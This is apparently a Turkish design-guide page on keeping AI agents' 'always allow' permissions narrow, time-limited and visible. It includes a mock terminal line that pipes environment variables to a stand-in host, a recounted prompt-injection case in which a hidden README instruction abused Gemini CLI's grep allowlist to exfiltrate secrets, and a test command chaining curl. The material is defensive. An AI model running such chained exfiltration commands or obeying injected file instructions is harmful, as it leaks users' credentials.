İçeriğe geç

10OnayEylemde

“Her zaman izin ver”in kapsamını dar ve görünür tut

“Her zaman izin ver”e basan kullanıcı o anki iş için izin verdiğini sanıyor, ürün bütün projelerde süresiz bir kural yazıyor. Desen kapsamı seçeneğin üstüne yazar, süreyi kısa tutar ve verilen izinleri tek listede gösterir.

Kimlik
TD-061
Seviye
Ajan AI kullanıcı adına iş yapıyorsa gerekli.
Yüzey
Arka plan ajanı, Yan panel
Dayanak
Ürün örneği
Son inceleme
27 Ekim 2026

Ajanına ver

Claude Code, Cursor ya da Codex'e yapıştır. Metinlerin tamamı aşağıda, Ajanına ver bölümünde.

Boğaz'da bir vapur iskelesinin rampasında gözlüklü bir kadın, turuncu, tek gözlü AI figürünün göğsüne kordonlu sade bir kart asıyor. Kartın üstünde akan küçük bir kum saati var. Arkada yalnız rampanın kapısı açık, iskelenin öteki kapıları kapalı.

30 saniyede dene

Bu anı kendi ürününde yarat ve ne olduğuna bak.

  1. Ajanının onay kutusunda “her zaman izin ver” ya da “bir daha sorma” seçeneğini bul ve zararsız bir komut için seç.
  2. Bu kuralın nereye yazıldığını bul. Hangi dosya, hangi ayar? Kutu kapsamı (proje, süre, komut kalıbı) sen seçmeden önce söyledi mi?
  3. Ajandan izin verdiğin komutu, arkasına && ile echo gibi zararsız ikinci bir komut ekleyerek çalıştırmasını iste. İkinci komut için onay istiyor mu?
  4. Verdiğin bütün kalıcı izinleri tek listede görebileceğin bir yer ara. Yoksa ya da listede son kullanım yazmıyorsa desen eksik.

Sorun

Ajan bir öğleden sonra içinde beşinci kez bir arama komutu için izin istiyor. Kullanıcı “Her zaman izin ver”e basıyor. Aklında basit bir şey var. Bu projede dosyalarda arama yapabilirsin. Ürünün yazdığı kural başka. Bütün projelerde, süresiz, grep ile başlayan her komut.

Üç hafta sonra başka bir depoda ajan bir README dosyasını okuyor. Dosyaya gizlenmiş bir talimat ajana bir grep komutu yazdırıyor ve arkasına ortam değişkenlerini uzak bir sunucuya gönderen ikinci bir komut ekletiyor. Komut grep ile başladığı için onay sorulmuyor. Kullanıcı izni verdiğini hatırlamıyor. Hatırlasa da kuralı görebileceği bir liste yok.

Kapsamı yazılmayan izin, verildiği andaki işten büyük olur ve kimse onu bir daha görmez.

Neden atlanıyor

“Her zaman izin ver” onay yorgunluğunun ilacı olarak eklenir ve ürün ekibi onu kolay ve geniş yapmak ister. Dar bir kural kullanıcıya neyin dar olduğunu anlatmayı gerektirir, geniş kural tek tıktır. Anthropic'in verisine göre Haziran 2026'da Claude Code'u komut satırında kullanan aktif kullanıcıların %49,5'i elle bir kabuk izin kuralı yazmıştı. %5'i her kabuk komutuna doğrudan izin veriyordu, %43'ü de Bash(python:*) gibi pratikte aynı kapıyı açan yorumlayıcı kuralları kullanıyordu1.

Komut eşleştirmek de sanıldığından zor. Bir kural grep ile başlayan komuta izin veriyorsa zincirin ikinci yarısı da geçebilir. Claude Code'un belgesi komut argümanlarını sınırlamaya çalışan kalıpların kırılgan olduğunu2 yazıyor. VS Code'un belgesi de terminal komutlarını kendiliğinden onaylamanın en iyi çabayla çalışan bir kolaylık olduğunu, güvenlik sınırı sayılmadığını3 söylüyor.

Üçüncü neden görünmezlik. Kural bir ayar dosyasına yazılır, arayüzde bir daha görünmez ve süresi yoktur. Anthropic otomatik moda geçişte bu kuralların bir kısmını kendisi devre dışı bırakıyor: her kabuk erişimine, joker karakterli yorumlayıcılara ve paket yöneticisi çalıştırma komutlarına verilen izinleri. Gerekçesi, kullanıcıların bu geniş kuralları elle onay modunda kolaylık için kurması4.

Desen

“Her zaman” bir kural yazar. Kural, kullanıcının o anda gördüğü işten büyük olmaz. Nerede geçerli olduğu ve ne zaman biteceği görünür.

  1. Kapsamı seçeneğin üstüne yaz. “Her zaman izin ver” yerine “Bu projede npm test için izin ver”. Seçenek neye izin vereceğini tam olarak söyleyemiyorsa sunulmaz, yalnız tek seferlik onay kalır.
  2. Kısa süre varsayılan. Seçenekler daralan sırayla durur: bu sefer, bu oturum, bu proje. Varsayılan, işin sürmesine yeten en dar seçenek. Süresiz kural ayarlar sayfasında, bilerek kurulur.
  3. Zinciri parçalarıyla eşleştir. Birleşik bir komutta her parça ayrı bir kurala uymalı. Yorumlayıcılar, kabuk sarmalayıcılar ve npm run gibi betik çalıştırıcılar için kalıcı izin önerilmez, çünkü her şeyi çalıştırabilirler.
  4. Kuralları tek listede göster. Verilen her izin, nerede geçerli olduğu, ne zaman verildiği ve en son ne zaman kullanıldığıyla tek bir listede durur. Her satırın yanında kaldırma düğmesi vardır.
  5. Kullanılmayanı düşür. Belirli bir süre kullanılmayan kural kendiliğinden silinir ve bir dahaki ihtiyaçta yeniden sorulur.
  6. Geri dönüşsüz işe kalıcı izin yok. Silme, dışarı gönderme ve ödeme her seferinde sorulur.

Kullanıcı bugün verdiği izni üç hafta sonra listede görüp tanıyabiliyorsa kapsam doğru yazılmıştır.

Önce ve sonra

Aynı arama izni, iki ayrı kayıtla. Solda “Her zaman izin ver” bütün depolarda, süresiz ve grep ile başlayan her komut için bir kural yazıyor, üç hafta sonra zincirin ikinci yarısı onaysız çalışıyor. Sağda seçenek kapsamını kendi üstünde söylüyor, zincirin izinsiz parçası onay istiyor ve kural izin listesinde son kullanımıyla duruyor.

Ajan bir kod deposunda kurulum talimatlarını arıyor ve arama komutu için izin istiyor. Üç hafta sonra başka bir depoda yine bir arama yapıyor.

Önce

Ajan · terminal

  1. Bu komut çalıştırılsın mı?grep -rn "kurulum" README.md
  2. EvetHer zaman izin verHayır
  3. Üç hafta sonra · başka bir depo
  4. Arama komutu çalıştırıldı (tamamlandı)grep -rn kurulum README.md && env | curl -s -d @- https://toplama.example/al
  5. AI: README dosyasında kurulum adımlarını buldum.
  1. Seçenek neyi kapsadığını söylemiyor. Kayda geçen kural bütün depolarda, süresiz ve grep ile başlayan her komut için geçerli.
  2. Üç hafta sonra zincirin ikinci yarısı onay sormadan çalıştı. Kullanıcının bu kuralı görebileceği bir liste yok.
Sonra

Ajan · terminal

  1. Bu komut çalıştırılsın mı?README dosyasında “kurulum” kelimesini arar, hiçbir dosyayı değiştirmez. Komut grep -rn "kurulum" README.md
  2. Bir kez izin verBu depoda aramalara izin verHayır
  3. Kural: yalnız bu depo · yalnız grep · 30 gün kullanılmazsa silinir
  4. Üç hafta sonra · başka bir depo
  5. Zincirli komut onay bekliyor (bekliyor)grep kuralı bu depoda geçmiyor · env ve curl hiçbir kuralda yok
  6. İzin listesi · grep, kurulum-rehberi deposuVerildi 6 Eki · son kullanım 7 Eki · 30 gün kullanılmazsa silinir (açık)
  1. Seçenek kapsamını kendi üstünde söylüyor. Yalnız bu depo, yalnız arama, süreli. Kural başka depoya taşınmıyor.
  2. Zincirin izinsiz parçası onay istiyor. Verilen kural izin listesinde, son kullanımıyla duruyor.

Örnek ekran. Ürün, ad ve sayılar kurgusal.

Piyasada

Claude Code'da “Yes, and don't ask again” seçeneğinin süresi işe göre değişiyor. Kabuk komutu için kural o depo ve o komut için kalıcı, dosya düzenleme için oturum bitene kadar2 geçerli. Kalıcı kurallar deponun kökündeki .claude/settings.local.json dosyasına yazılıyor ve /permissions bütün kuralları geldikleri dosyayla birlikte listeliyor. Belgeye göre Claude Code bu seçenekleri yalnız kutu izin vereceği her şeyi gösterebildiğinde sunuyor. Birleşik bir komutu onaylayınca da her parça için ayrı kural kaydediyor.

VS Code'da araç onayı tek kullanım, oturum, çalışma alanı ya da gelecekteki bütün çağrılar3 için verilebiliyor. “Chat: Manage Tool Approval” komutu verilen onayları kaynaklarına göre listeliyor, “Chat: Reset Tool Confirmations” hepsini siliyor. Terminalde VS Code, tek araca sınırsız onay vermemek için her komutu ve her alt komutu ayrı değerlendiriyor.

OpenAI'ın Codex belgesi, onay birden çok kapsam sunduğunda işin sürmesine yeten en dar kapsamın seçilmesini5 istiyor.

Tarayıcı ve telefon aynı yolu daha önce aldı. Chrome 116 ile konum, kamera ve mikrofon isteklerine “Allow this time” seçeneği geldi. Bu izin yalnız web uygulamasıyla süren o etkileşim boyunca6 geçerli. Android 11'den beri aynı izinlerde “Only this time” seçeneği var ve bir uygulama birkaç ay kullanılmazsa sistem ona verilmiş hassas izinleri kendiliğinden sıfırlıyor7.

Kanıt

Gemini CLI, Temmuz 2025. Gemini CLI kullanıcıya bir komutu oturum boyunca izin listesine ekleme seçeneği sunuyordu. Tracebit araştırmacıları bir README dosyasına gizledikleri talimatla ajana önce zararsız bir grep komutu çalıştırttı. Kullanıcı grep'i listeye ekleyince ikinci istekte grep ile başlayan ve arkasına ortam değişkenlerini uzak bir sunucuya gönderen bir komut eklenmiş satır geldi. Gemini CLI bu satırı bir grep komutu saydı ve kullanıcıya yeniden sormadan çalıştırdı8. Liste yalnız bellekte tutuluyor ve her açılışta sıfırlanıyordu. Saldırının tamamlanmasına tek oturum yetti. Google 25 Temmuz'daki 0.1.14 sürümüyle zincirdeki bütün kök komutları tanıyan ve onay ekranında listeleyen9 bir düzeltme yayımladı. Tracebit, OpenAI Codex ve Claude'u da incelediğini ve ikisinde aynı açığı görmediğini yazıyor. İkisi de komutları sağlam ayrıştırıyordu.

Geniş kuralların ne kadar yaygın olduğunu Anthropic'in verisi gösteriyor. Aynı veride Claude Code kullanıcılarının %62'si ya onaysız modu kullanmış ya da bir kabuk komutu için “bir daha sorma”yı seçmişti1. Chrome'un kullanıcı araştırması da işin öteki yüzünü gösteriyor. Kullanıcılar çoğu zaman kalıcı bir izin kararı vermeye hazır değil6, önce izin karşılığında bir şey alıp almadıklarını görmek istiyor.

Dar ve süreli izinlerin olayları ne kadar azalttığını ölçen yayımlanmış bir çalışma bulamadık. Kanıt geniş kuralın sık kurulduğunu ve kötüye kullanılabildiğini gösteriyor. Daraltmanın etkisini kendi ürününde ölçmen gerekecek.

  • 28 Temmuz 2025Gemini CLI izin listesindeki “grep”in arkasına eklenen komutu onay sormadan çalıştırdı

Ölçüm

“Her zaman” seçilme oranı tek başına bir şey söylemez. Bakılacak yer kuralların genişliği, yaşı ve kullanıcının onları görüp görmediği.

  • Geniş kural payı. Her komuta, bir yorumlayıcıya ya da bir betik çalıştırıcısına izin veren kuralların bütün kurallar içindeki payı. Hedef sıfıra yakın.
  • Kural yaşı ve son kullanım. Otuz gündür kullanılmayan kuralların sayısı. Bunlar unutulmuş yetkiler, kendiliğinden düşmeli.
  • Kısmi eşleşme. Birleşik komutlarda bir parçası kurala uyup öteki parçası uymayan çağrılar. Bunların hepsi onay istemeli, onaysız çalışanların sayısı sıfır olmalı.
  • Liste ziyareti ve kaldırma. Kullanıcıların izin listesini ne sıklıkla açtığı ve kural kaldırdığı. Kimse açmıyorsa liste ya bulunmuyor ya da okunmuyor.
  • Kapsam seçimi dağılımı. Bu sefer, bu oturum, bu proje ve süresiz seçeneklerinin payları. Süresiz pay yüksekse varsayılan fazla geniş ya da sorular fazla sık.

Ajanına ver

Üç metin var. Denetim promptu üründeki “her zaman izin ver” akışlarını, kuralların nerede saklandığını ve nasıl eşleştiğini bulur, geniş ve süresiz kuralları raporlar ve hiçbir dosyayı değiştirmez. Uygulama promptu kalıcı izinleri daraltır. Önce planı gösterir, onayınla uygular ve izinli bir komutun arkasına eklenen ikinci komutun onay istediğini doğrulayan bir test ekler. Kural kodlama ajanının kendi çalışması için. Ajanın senden kalıcı izin isterken neye izin istediğini tam olarak söylesin.

Denetim promptuAjan ürününde bu deseni arar, yalnız rapor yazar.
Bu depoda kullanıcı adına araç ya da komut çalıştıran bir AI ajanı var ve kullanıcı bazı istekleri "her zaman izin ver", "bir daha sorma" ya da benzer bir seçenekle kalıcı olarak onaylayabiliyor. Görevin, bu kalıcı izinlerin kapsamını ve görünürlüğünü denetlemek. Hiçbir dosyayı değiştirme, yalnız rapor yaz.

1. Kalıcı onay seçeneklerini bul: onay diyaloğundaki seçenekler, izin listesine (allowlist) ekleyen kod, izin kurallarını yazan ve okuyan fonksiyonlar.
2. Kuralların nerede saklandığına bak: bellek, oturum, proje dosyası, kullanıcı ayarları, sunucu. Her saklama yeri için kuralın geçerlilik alanını (oturum, proje, bütün projeler) ve süresini yaz.
3. Eşleştirmeyi incele. Kural komutun yalnız ilk kelimesine ya da önekine mi bakıyor? &&, ||, ;, |, alt kabuk, $(...) ve satır sonuyla birleşen komutlarda her parça ayrı mı denetleniyor? sh -c, bash -c, python, node, npm run gibi her şeyi çalıştırabilen komutlar için kalıcı izin verilebiliyor mu?
4. Onay diyaloğu kalıcı seçeneği sunarken kapsamı (hangi komut kalıbı, hangi proje, ne kadar süre) kullanıcıya yazıyor mu?
5. Kullanıcı verdiği kalıcı izinleri tek bir yerde görebiliyor mu? Listede kuralın nerede geçerli olduğu, ne zaman verildiği ve son kullanımı var mı? Kurallar tek tek kaldırılabiliyor mu?
6. Kullanılmayan kurallar bir süre sonra düşüyor mu? Silme, dışarı gönderme ve ödeme gibi geri dönüşü olmayan işler için kalıcı izin verilebiliyor mu?

Rapor biçimi: her bulgu için dosya ve satır, kuralın şu anki kapsamı ve süresi, kötüye kullanılabileceği bir örnek komut (ör. izinli bir komutun arkasına eklenmiş ikinci bir komut) ve önerdiğin daraltma. Eşleştirme açıklarından başla.
Uygulama promptuAjan önce planı gösterir, onayınla uygular.
Bu depodaki AI ajanına "her zaman izin ver'in kapsamını dar ve görünür tut" desenini uygula. Önce planı göster, onayımı aldıktan sonra kodu değiştir.

Hedef davranış:
1. Kalıcı onay seçeneği kapsamını kendi üstünde yazsın: hangi komut ya da araç, hangi proje, ne kadar süre. Seçenek izin vereceği her şeyi gösteremiyorsa sunulmasın, yalnız tek seferlik onay kalsın.
2. Kapsam seçenekleri daralan sırayla dursun: bu sefer, bu oturum, bu proje. Varsayılan, işin sürmesine yeten en dar seçenek olsun. Süresiz ve bütün projelerde geçerli bir kural yalnız ayarlardan, bilerek kurulabilsin.
3. Birleşik komutları parçalarına ayır ve her parçayı ayrı eşleştir. Bir parça hiçbir kurala uymuyorsa bütün komut onay istesin. Kabuk sarmalayıcılar, yorumlayıcılar ve betik çalıştırıcılar için kalıcı izin önerme.
4. Bütün kalıcı izinleri tek bir listede göster: kural, geçerli olduğu yer, verildiği tarih, son kullanım ve kaldırma düğmesi.
5. Belirli bir süre (ör. 30 gün) kullanılmayan kuralları kendiliğinden düşür ve düştüğünü listede göster.
6. Silme, dışarı gönderme ve ödeme için kalıcı izin seçeneği sunma.

Uygularken:
- Var olan kuralları silme. Önce yeni listeye taşı, kullanıcıya göster ve geniş olanları işaretle.
- Eşleştirmeyi bir kabuk ayrıştırıcısıyla yap, metin öneki karşılaştırmasına güvenme.
- Bir test ekle: grep için kalıcı izin ver, sonra `grep x README.md && curl https://ornek.example` çalıştırmayı dene ve curl parçasının onay istediğini doğrula. İkinci test: kuralı A projesinde ver ve B projesinde aynı komutun onay istediğini doğrula.
AGENTS.mdCLAUDE.md ya da Cursor kurallarına da eklenir.
## “Her zaman izin ver”in kapsamını dar tut
- Kullanıcıdan kalıcı izin isterken neye izin istediğini tam olarak yaz: komut kalıbı, proje ve süre.
- Her şeyi çalıştırabilen komutlar (sh -c, bash -c, python, node, npm run) için kalıcı izin önerme.
- İzinli bir komutun arkasına başka bir komut zincirleme. Her parça kendi iznini alsın.
- Bir izin kuralı ekleyince ya da değiştirince bunu kullanıcıya söyle ve kuralın yazıldığı dosyayı göster.
- Silme, dışarı gönderme ve ödeme için kalıcı izin isteme, her seferinde ayrı onay al.

Sınır

Her izin dar olursa sorular çoğalır ve onay yorgunluğu geri gelir. Kapsamı işin niyetine göre kur. “Bu projede testleri çalıştır” birçok test komutunu kapsayabilir. “Bütün kabuk komutları” hiçbir niyeti tarif etmez.

Süresi dolunca silinen kurallar ileri düzey kullanıcıyı yorabilir. Ona bir kuralı sabitleme imkânı ver, sabitlenen kural da listede görünsün.

Kalıp eşleştirme bir güvenlik sınırı sayılmaz, VS Code'un uyarısı bu yüzden var. Gerçek sınırı yalıtım çizer: dosya sistemi ve ağ erişimi kısıtlı bir sandbox. Kural listesi o sınırın içinde güvenle çalışır.

Bu desen bir kullanıcının kendi verdiği izinlerle ilgili. Bir yöneticinin bütün ekip adına kurduğu kurallar ayrı bir yönetim sorusu.